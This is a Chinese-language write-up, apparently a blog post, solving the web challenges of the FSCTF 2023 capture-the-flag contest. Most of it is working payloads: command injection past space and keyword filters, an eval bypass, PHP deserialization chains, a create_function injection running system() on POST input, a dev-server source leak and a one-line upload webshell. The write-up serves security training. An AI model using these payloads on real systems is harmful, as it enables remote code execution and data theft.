FSCTF 2023-WEB部分wp

目录

源码!启动!  

webshell是啥捏

细狗2.0

Hello,you

EZ_eval

ez_php1

巴巴托斯! 

ez_php2

寻找蛛丝马迹

CanCanNeed

签到plus

是兄弟,就来传你の🐎! 


源码!启动!  

这里打开开发人员工具,查看源代码

webshell是啥捏

前面表情包解释为passthru 

passthru — 执行外部程序并且显示原始输出

说明

passthru(string $command, int &$result_code = null): ?false

exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec()system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

 这里就可以直接ls查看了

细狗2.0

 过滤了空格

127.0.0.1;ls${IFS}$9/

127.0.0.1;ca\t${IFS}$9/f*

Hello,you

127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

EZ_eval

 源代码:

<?php
    if(isset($_GET['word'])){
    $word = $_GET['word'];
    if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
       die("nonono.");
    }
    $word = str_replace("?", "", $word);
    eval("?>". $word);
}else{
    highlight_file(__FILE__);
}

这里过滤了 cat、tac、tail、more、head、nl、flag、less 和空格,并且删除?

在 eval 中加入了 php 闭合符就说明前面的 eval 被闭合已经不能用了

这道题既然过滤了问号那么就不能使用<?php ?>、<?= ?>和<? ?>

那么就还剩一个 <script language='php'> </script>

其中关于读取命令可以使用 ta\c 或者 ta""c 来绕过过滤 空格用%09 flag 用通配符

最终 payload 如下

?word=<script%09language='php'>system('ta\c%09/f*');</script>

ez_php1

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
    echo "!!!";
    $c = $_POST['FL_AG'];
    if(isset($c))
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {
            echo 'You are bad guy!!!';
        }
            else {
                echo "Congratulation!!";
                echo $hint1;
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");
}
?>

访问L0vey0U.php

 访问P0int.php

源代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

?> 

这里直接使用引用输出a即可

payload:

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);


?> 
data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;} 

巴巴托斯! 

这里提示了FSCTF Brower

修改User-Agent

 Referer:127.0.0.1

直接伪协议

 

ez_php2

源代码:

 <?php
highlight_file(__file__);
Class Rd{
    public $ending;
    public $cl;

    public $poc;
    public function __destruct()
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        $value($this->Flag);
    }


}

class Ha{
    public $start;
    public $start1;
    public $start2;
    public function __construct()
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}
?> 

payload:

<?php
highlight_file(__file__);
Class Rd{
    public $ending;
    public $cl;

    public $poc;
}


class Poc{
    public $payload;

    public $fun;
}

class Er{
    public $symbol;
    public $Flag='ls /';

}

class Ha{
    public $start;
    public $start1;
    public $start2="11111";
}

$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:4:"ls /";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

把Flag的值改为cat  /flag

?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

 

寻找蛛丝马迹

 

这里用火狐修复文字编码即可 

 和苹果有点关系联想到.DS_store

 

 

payload:

FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}

CanCanNeed

源代码:

<?php
class Noteasy{
    protected $param1;
    protected $param2;
    
    function __destruct(){
        $a=$this->param1;
        $b=$this->param2;
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { 
            die('this param is error!'); 
        } else { 
            $a('', $b); 
        }
    }
    
}
if (!isset($_GET['file'])){    
    show_source('index.php');
    echo "Hi!Welcome to FSCTF2023!";
  }
  else{ 
    $file=base64_decode($_GET['file']); 
    unserialize($file); }
?>

分析源码,对传入的 file 参数 base64 解码后反序列化,__destruct 函数中出现了 $a(‘’, $b); ,且 $a 和 $b 可通过 $param1 和 $param2 进行控制。
再观察正则表达式,发现没有过滤 system 和中括号,所以可以使用 system 执行 shell 命令,获取 flag。
所以将 $param1 设置为 create_function ,$param2 设置为 system($_GET[1])

payload:

<?php

class Noteasy
{
    protected $param1 = "create_function";
    protected $param2 = "};system(\$_POST[1]);//";

    function __destruct()
    {
        $a = $this->param1;
        $b = $this->param2;
        if (preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
            die('this param is error!');
        } else {
            $a('', $b);
        }
    }
}

$n = new Noteasy();
echo(base64_encode(serialize($n)));
?file=Tzo3OiJOb3RlYXN5IjoyOntzOjk6IgAqAHBhcmFtMSI7czoxNToiY3JlYXRlX2Z1bmN0aW9uIjtzOjk6IgAqAHBhcmFtMiI7czoyMjoifTtzeXN0ZW0oJF9QT1NUWzFdKTsvLyI7fQ==

 POST传参

1=ls /
1=cat /f*

签到plus

打比赛时有提示扫一下

那我们就扫一下下

 中国人不骗中国人

访问一下

这个flag是假的,我收回上面说的话

看了一下提示,发现是

php7.4.21的文件泄露

PHP<=7.4.21 Development Server源码泄露漏洞_这周末在做梦的博客-CSDN博客

抓包一下修改看看

copy to file

HTTP/0.9 200 OK
Host: node4.anna.nssctf.cn:28201
Date: Sun, 29 Oct 2023 08:53:09 GMT
Connection: close
Content-Length: 443

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
    eval($😭($_GET['👽🦐']));
};

?>

payload:

?👽🦐=ls /

?👽🦐=cat /f*

是兄弟,就来传你の🐎! 

先传几个试试,发现pht没有被过滤 

 但又限制了长度

 看别的师傅的wp,新的思路

利用BM头和php中的反引号直接读取flag。

BM<?=`cat /*`;

成功 

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值